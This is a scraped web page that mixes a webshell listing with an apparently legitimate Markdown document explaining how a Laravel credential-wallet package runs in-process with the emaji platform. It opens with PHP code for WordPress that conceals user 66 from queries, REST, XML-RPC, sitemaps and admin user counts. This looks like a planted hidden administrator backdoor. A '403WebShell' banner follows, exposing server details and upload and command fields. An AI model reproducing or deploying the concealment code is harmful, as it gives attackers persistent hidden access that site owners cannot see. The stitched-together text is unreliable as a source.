add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emajiwallet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emajiwallet/WALLET_PROTOCOL_EXPLANATION.md
# Wallet Package ↔ emaji Platform: Technical Protocol

## The Key Point: **They Run in the Same Process**

This is **NOT** a distributed system with API calls between separate applications. The wallet package and emaji platform run **together in the same Laravel application process**.

---

## How Laravel Packages Work

```
┌─────────────────────────────────────────────────────────────┐
│                    Single Laravel Process                    │
│                                                              │
│  ┌────────────────────────────────────────────────────┐    │
│  │         emaji Platform Application                  │    │
│  │  (Your main Laravel app)                           │    │
│  │                                                     │    │
│  │  ┌──────────────────────────────────────────────┐ │    │
│  │  │  Wallet Package                               │ │    │
│  │  │  (Installed via composer)                     │ │    │
│  │  │                                               │ │    │
│  │  │  - Models, Controllers, Services              │ │    │
│  │  │  - All code runs in same PHP process         │ │    │
│  │  │  - Shares same database connection            │ │    │
│  │  │  - Shares same event dispatcher               │ │    │
│  │  │  - Shares same dependency injection container │ │    │
│  │  └──────────────────────────────────────────────┘ │    │
│  └────────────────────────────────────────────────────┘    │
│                                                              │
│  Same Memory Space • Same Database • Same Event Bus          │
└─────────────────────────────────────────────────────────────┘
```

---

## Communication Protocol: **In-Process (PHP Function Calls)**

### It's NOT:
❌ REST API calls over HTTP
❌ GraphQL queries
❌ Message queues (RabbitMQ, SQS)
❌ gRPC
❌ WebSockets
❌ Separate microservices

### It IS:
✅ **Direct PHP function/method calls**
✅ **Shared Laravel Event Dispatcher**
✅ **Shared database connection**
✅ **Shared service container**
✅ **In-memory references**

---

## How It Works: Step-by-Step

### Installation

```bash
# 1. Install wallet package via composer
composer require emaji/credential-wallet

# Composer downloads the package to:
# vendor/emaji/credential-wallet/

# 2. Laravel auto-discovers the service provider
# (or you manually register it in config/app.php)

# 3. The package's ServiceProvider boots
# - Registers routes
# - Registers event listeners
# - Registers services in container
# - Loads migrations
# - Loads views
```

### Runtime: How They Communicate

```php
// ============================================
// Example 1: Event Communication
// ============================================

// When wallet fires an event:
// vendor/emaji/credential-wallet/src/Controllers/CredentialController.php
use Illuminate\Support\Facades\Event;

public function import(Request $request)
{
    $credential = UserCredential::create([...]);

    // This calls Laravel's global event dispatcher
    Event::dispatch(new CredentialImported($credential, auth()->user()));
    //                  ↑
    //                  This is a regular PHP object
    //                  No serialization, no HTTP, no network
}

// Laravel's event dispatcher immediately calls all registered listeners
// app/Listeners/MapCredentialToQualification.php
class MapCredentialToQualification
{
    // This method is called SYNCHRONOUSLY in the same PHP process
    public function handle(CredentialImported $event)
    {
        // $event is the SAME object instance that was dispatched
        // No deserialization needed
        $credential = $event->credential; // Direct memory reference
        $user = $event->user;             // Direct memory reference

        // Do emaji-specific logic...
    }
}
```

### Detailed Flow

```php
// ============================================
// HTTP REQUEST comes in
// ============================================
POST /credentials/import

// ============================================
// Laravel routing (routes/web.php)
// ============================================
Route::post('/credentials/import', [
    \Emaji\CredentialWallet\Http\Controllers\CredentialController::class,
    'import'
]);

// ============================================
// Controller method executes
// ============================================
namespace Emaji\CredentialWallet\Http\Controllers;

class CredentialController extends Controller
{
    protected $vcParser;
    protected $encryptionService;

    // Dependencies injected via Laravel's container
    public function __construct(
        VcParserService $vcParser,
        CredentialEncryptionService $encryptionService
    ) {
        $this->vcParser = $vcParser;
        $this->encryptionService = $encryptionService;
    }

    public function import(Request $request)
    {
        // 1. Parse credential (in-memory PHP call)
        $parsed = $this->vcParser->parse($request->file('credential'));

        // 2. Store in database (shared DB connection)
        $credential = UserCredential::create([
            'user_id' => auth()->id(),
            'raw_vc' => $parsed['raw'],
            // ...
        ]);

        // 3. Fire event (in-memory PHP call)
        event(new CredentialImported($credential, auth()->user()));
        // ↑
        // This immediately (synchronously) calls all registered listeners
        // in the same PHP process, same request cycle

        return response()->json(['success' => true]);
    }
}

// ============================================
// Event dispatched (happens synchronously)
// ============================================

// Laravel's event dispatcher looks up registered listeners:
// app/Providers/EventServiceProvider.php
protected $listen = [
    CredentialImported::class => [
        MapCredentialToQualification::class,
        UpdateUserPathways::class,
        MatchJobs::class,
    ],
];

// Laravel calls each listener in order:

// First listener
$listener1 = app(MapCredentialToQualification::class);
$listener1->handle($event); // Regular PHP method call

// Second listener
$listener2 = app(UpdateUserPathways::class);
$listener2->handle($event); // Regular PHP method call

// Third listener
$listener3 = app(MatchJobs::class);
$listener3->handle($event); // Regular PHP method call

// All of this happens BEFORE the HTTP response is sent
// (Unless you use queued listeners)

// ============================================
// Response sent back to client
// ============================================
```

---

## Technical Details

### 1. **Service Container (Dependency Injection)**

All classes (wallet and emaji) are registered in the same Laravel service container:

```php
// Wallet package's ServiceProvider
public function register()
{
    $this->app->singleton(VcParserService::class);
    $this->app->singleton(CredentialEncryptionService::class);
    $this->app->singleton(IpfsService::class);
}

// emaji can inject wallet services
namespace App\Services;

class EmajiIssuanceService
{
    protected $vcParser;

    public function __construct(VcParserService $vcParser)
    {
        // Laravel resolves this from the container
        // Same instance that wallet uses
        $this->vcParser = $vcParser;
    }

    public function processCredential($data)
    {
        // Direct method call - no API, no network
        return $this->vcParser->parse($data);
    }
}
```

### 2. **Event Dispatcher**

There's ONE global event dispatcher for the entire Laravel app:

```php
// Anywhere in the code (wallet or emaji)
event(new SomeEvent());

// This calls the SAME event dispatcher
// It's a singleton in the service container
```

### 3. **Database Connection**

Both use the same database connection pool:

```php
// Wallet model
namespace Emaji\CredentialWallet\Models;

class UserCredential extends Model
{
    // Uses default database connection
}

// emaji model
namespace App\Models;

class Pathway extends Model
{
    // Uses same database connection
}

// In a transaction, they share the same connection
DB::transaction(function () {
    // Wallet operation
    $credential = UserCredential::create([...]);

    // emaji operation
    $pathway->credentials()->attach($credential->id);

    // Both use same connection, same transaction
    // If either fails, both rollback
});
```

### 4. **Memory & Performance**

```php
// When wallet creates a credential:
$credential = UserCredential::create([...]);
// This is an Eloquent model instance in PHP memory

// When fired in event:
event(new CredentialImported($credential, $user));
// The same PHP object is passed by reference

// When listener receives it:
public function handle(CredentialImported $event)
{
    $credential = $event->credential;
    // This is THE SAME object instance
    // No copying, no serialization, no deserialization
    // Just a PHP reference

    // Modifying it affects the original:
    $credential->is_mapped = true;
    $credential->save();
}
```

---

## Comparison with API Architecture

### If this WAS a separate API service (it's NOT):

```php
// ❌ What we're NOT doing:

// emaji Platform
public function import(Request $request)
{
    // Would make HTTP call to wallet service
    $response = Http::post('https://wallet-api.example.com/credentials', [
        'user_id' => auth()->id(),
        'credential' => $request->file('credential'),
    ]);

    if ($response->successful()) {
        $credentialData = $response->json();

        // Would need to sync data to local database
        // Would need webhooks for events
        // Would need API authentication
        // Would have network latency
        // Would need error handling for network failures
    }
}
```

### What we're ACTUALLY doing:

```php
// ✅ What we ARE doing:

// emaji Platform (same process as wallet)
public function import(Request $request)
{
    // Direct method call to wallet controller
    // (via Laravel routing, but same process)
    $controller = app(CredentialController::class);
    $result = $controller->import($request);

    // Events fire synchronously
    // Listeners execute immediately
    // All in the same request
}
```

---

## Filesystem Organization

```
your-project/
├── vendor/
│   └── emaji/
│       └── credential-wallet/        ← Wallet package code
│           ├── src/
│           │   ├── Models/
│           │   ├── Controllers/
│           │   ├── Services/
│           │   └── Providers/
│           ├── config/
│           ├── database/migrations/
│           └── resources/views/
│
├── app/                               ← Your emaji code
│   ├── Models/
│   │   ├── User.php                   ← Uses wallet trait
│   │   ├── Pathway.php                ← emaji-specific
│   │   └── Job.php                    ← emaji-specific
│   ├── Listeners/
│   │   └── MapCredentialToQualification.php  ← Listens to wallet events
│   └── Services/
│
├── config/
│   ├── app.php                        ← Wallet provider auto-registered
│   └── credential-wallet.php          ← Wallet config (published)
│
├── routes/
│   └── web.php                        ← Your routes + wallet routes merged
│
└── composer.json                      ← Requires wallet package
```

When Laravel boots:
1. Loads vendor/emaji/credential-wallet via composer autoloader
2. Discovers CredentialWalletServiceProvider
3. Boots the provider (registers routes, services, events)
4. Everything runs in the same PHP process

---

## Network Traffic

```
User's Browser
      ↓
   [HTTP/HTTPS]
      ↓
   Laravel App (single process)
   ├── Wallet Package (in-memory)
   └── emaji Code (in-memory)
      ↓
   Database (MySQL/PostgreSQL)
      ↓
   [Database Protocol: MySQL Wire Protocol]
      ↓
   Database Server
```

**No API calls between wallet and emaji!**

---

## Asynchronous Communication (Optional)

If you want async processing (recommended for long-running tasks):

```php
// Make listeners queued
class MapCredentialToQualification implements ShouldQueue
{
    public function handle(CredentialImported $event)
    {
        // This will run in a background queue worker
        // Still same codebase, but different process
    }
}

// Configure queue driver
// .env
QUEUE_CONNECTION=redis

// Start queue worker
php artisan queue:work
```

In this case:
1. Event fires synchronously (in-memory)
2. Laravel serializes the event to Redis/Database
3. Queue worker picks it up (separate PHP process)
4. Deserializes and executes listener

But still NO API calls - just queue communication within Laravel.

---

## Summary

| Aspect | What It Is |
|--------|-----------|
| **Protocol** | PHP function calls (in-process) |
| **Communication** | Direct method calls, shared event dispatcher |
| **Network** | None between wallet and emaji |
| **Database** | Shared connection pool |
| **Memory** | Shared PHP process memory |
| **Service Container** | Shared Laravel container |
| **Deployment** | Single Laravel application |
| **Performance** | Native PHP speed, no serialization |

The wallet package is like installing any Laravel package (like `laravel/sanctum` or `spatie/laravel-permission`). It becomes **part of your application**, not a separate service.

---

## When Would You Use APIs?

You'd use a separate API service if:
- Wallet needs to serve **multiple different applications** (not just emaji)
- Different programming languages (wallet in Python, emaji in PHP)
- Independent scaling requirements
- Independent deployment cycles
- Security boundary requirements

For your use case (reusing wallet across Laravel projects), the **package approach** is simpler, faster, and more maintainable.

Youez - 2016 - github.com/yon3zu
LinuXploit